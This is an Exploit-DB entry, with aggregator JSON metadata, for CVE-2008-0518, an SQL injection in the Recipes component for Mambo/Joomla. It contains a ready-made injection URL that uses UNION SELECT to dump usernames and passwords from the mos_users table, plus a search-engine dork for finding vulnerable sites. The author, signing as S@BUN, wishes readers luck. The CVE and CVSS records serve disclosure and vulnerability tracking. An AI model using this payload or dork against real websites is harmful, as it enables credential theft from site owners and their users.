ID EDB-ID:5014
Type exploitdb
Reporter S@BUN
Modified 2008-01-30T00:00:00
Description
Mambo Component Recipes 1.00 (id) Remote SQL Injection Vulnerability. CVE-2008-0518. Webapps exploit for php platform
#########################################################################
#
# joomla SQL Injection(com_recipes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#########################################################################
#
# DorKs 1 : allinurl: "com_recipes"
#
########################################################################
EXPLOIT :
index.php?option=com_recipes&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,1,concat(username,0x3a,password),username,0x3a,5,6,7,8,9,10,11,12,0x3a,0x3a,0x3a,username,username,0x3a,0x3a,0x3a,21,0x3a/**/from/**/mos_users/*
#########################################################################
# S@BUN www.hackturkiye.com S@BUN
#########################################################################
# S@BUN GOOD LUCKY S@BUN
#########################################################################
# milw0rm.com [2008-01-30]
{"id": "EDB-ID:5014", "hash": "86c25027f2b1cf53ff2a870e709b839f", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Mambo Component Recipes 1.00 id Remote SQL Injection Vulnerability", "description": "Mambo Component Recipes 1.00 (id) Remote SQL Injection Vulnerability. CVE-2008-0518. Webapps exploit for php platform", "published": "2008-01-30T00:00:00", "modified": "2008-01-30T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/5014/", "reporter": "S@BUN", "references": [], "cvelist": ["CVE-2008-0518"], "lastseen": "2016-01-31T22:17:50", "history": [], "viewCount": 4, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2016-01-31T22:17:50"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2008-0518"]}], "modified": "2016-01-31T22:17:50"}, "vulnersScore": 7.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/5014/", "sourceData": "#########################################################################\n#\n# joomla SQL Injection(com_recipes)\n#\n#########################################################################\n#\n# AUTHOR : S@BUN\n#\n# HOME : http://www.hackturkiye.com/\n\n#########################################################################\n#\n# DorKs 1 : allinurl: \"com_recipes\"\n#\n########################################################################\nEXPLOIT :\n\nindex.php?option=com_recipes&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,1,concat(username,0x3a,password),username,0x3a,5,6,7,8,9,10,11,12,0x3a,0x3a,0x3a,username,username,0x3a,0x3a,0x3a,21,0x3a/**/from/**/mos_users/*\n\n#########################################################################\n# S@BUN www.hackturkiye.com S@BUN\n#########################################################################\n# S@BUN GOOD LUCKY S@BUN\n######################################################################### \n\n# milw0rm.com [2008-01-30]\n", "osvdbidlist": ["41259"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}
{"cve": [{"lastseen": "2019-05-29T18:09:25", "bulletinFamily": "NVD", "description": "SQL injection vulnerability in index.php in the Recipes (com_recipes) 1.00 component for Mambo and Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a detail action.", "modified": "2017-09-29T01:30:00", "id": "CVE-2008-0518", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-0518", "published": "2008-01-31T20:00:00", "title": "CVE-2008-0518", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}